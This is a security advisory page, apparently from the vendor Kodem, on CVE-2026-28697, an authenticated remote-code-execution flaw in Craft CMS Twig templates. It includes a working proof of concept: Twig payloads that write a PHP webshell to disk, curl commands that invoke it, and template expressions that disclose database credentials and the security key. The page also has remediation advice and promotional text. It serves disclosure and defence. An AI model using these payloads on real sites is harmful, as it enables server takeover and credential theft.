CVE-2026-28697

CVE-2026-28697 is a critical-severity security vulnerability in craftcms/cms (composer), affecting versions >= 5.0.0-RC1, < 5.9.0-beta.1. It is fixed in 5.9.0-beta.1, 4.17.0-beta.1.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Craft CMS Vulnerable to Authenticated RCE via "craft.app.fs.write()" in Twig Templates

An authenticated administrator can achieve Remote Code Execution (RCE) by injecting a Server-Side Template Injection (SSTI) payload into Twig template fields (e.g., Email Templates). By calling the craft.app.fs.write() method, an attacker can write a malicious PHP script to a web-accessible directory and subsequently access it via the browser to execute arbitrary system commands.

Proof of Concept

Attack Prerequisites

  • Authenticated administrator account with allowAdminChanges enabled, or access to the System Messages utility

Steps to Reproduce

  1. Navigate to Utilities → System Messages (/admin/utilities/system-messages)
  2. Edit any email template (e.g., "Test Email") and inject the following in the body (or the Subject):
    • To exploit it by writing to a file system:
      • Note: Replace the filesystem handle (e.g., hardDisk) with a valid handle configured in the target installation.
      {{ craft.app.fs.getFilesystemByHandle('hardDisk').write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }}
      
    • To exploit it by writing to a volume:
      • Note: Replace the volume handle (e.g., images) with a valid handle configured in the target installation.
      {{ craft.app.volumes.getVolumeByHandle('images').fs.write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }}
      
  3. Save & go to Settings → Email (/admin/settings/email)
  4. Click "Test" at the bottom of the page to trigger template rendering
  5. The webshell is now written to the filesystem/volume. Access it via curl or directly from the browser:
    Note: The path might be different on your end depending on the filesystem or volume configuration.
    # For Filesystem
    curl "http://target.com/uploads/shell.php?c=id"
    # For Volume
    curl "http://target.com/uploads/images/shell.php?c=id"
    # Example Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
    

Additional Impact

The same craft.app exposure without any security measures enables additional attack vectors:

Database Credential Disclosure

Database credentials are stored in .env outside the webroot and are not accessible to admins through the UI. This bypasses that protection.

{{ craft.app.db.username }}
{{ craft.app.db.password }}
{{ craft.app.db.dsn }}

Security Key Disclosure

Craft explicitly redacts the security key from phpinfo and error logs, indicating it should be protected. However, craft.app.config.general.securityKey bypasses this protection.

{{ craft.app.config.general.securityKey }}

Resources

https://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197
https://github.com/craftcms/cms/pull/18219
https://github.com/craftcms/cms/pull/18216

Impact

Affected versions

craftcms/cms (>= 5.0.0-RC1, < 5.9.0-beta.1) craftcms/cms (>= 4.0.0-RC1, < 4.17.0-beta.1)

Security releases

craftcms/cms → 5.9.0-beta.1 (composer) craftcms/cms → 4.17.0-beta.1 (composer)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

  • Add Twig sandbox rules to block write, writeFileFromStream, deleteFile, and similar destructive methods
  • Consider allowlist approach for craft.app properties accessible in templates rather than exposing the entire application

Frequently Asked Questions

  1. What is CVE-2026-28697? CVE-2026-28697 is a critical-severity security vulnerability in craftcms/cms (composer), affecting versions >= 5.0.0-RC1, < 5.9.0-beta.1. It is fixed in 5.9.0-beta.1, 4.17.0-beta.1.
  2. Which versions of craftcms/cms are affected by CVE-2026-28697? craftcms/cms (composer) versions >= 5.0.0-RC1, < 5.9.0-beta.1 is affected.
  3. Is there a fix for CVE-2026-28697? Yes. CVE-2026-28697 is fixed in 5.9.0-beta.1, 4.17.0-beta.1. Upgrade to this version or later.
  4. Is CVE-2026-28697 exploitable, and should I be worried? Whether CVE-2026-28697 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-28697 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-28697?
    • Upgrade craftcms/cms to 5.9.0-beta.1 or later
    • Upgrade craftcms/cms to 4.17.0-beta.1 or later

Other vulnerabilities in craftcms/cms

Stop the waste.
Protect your environment with Kodem.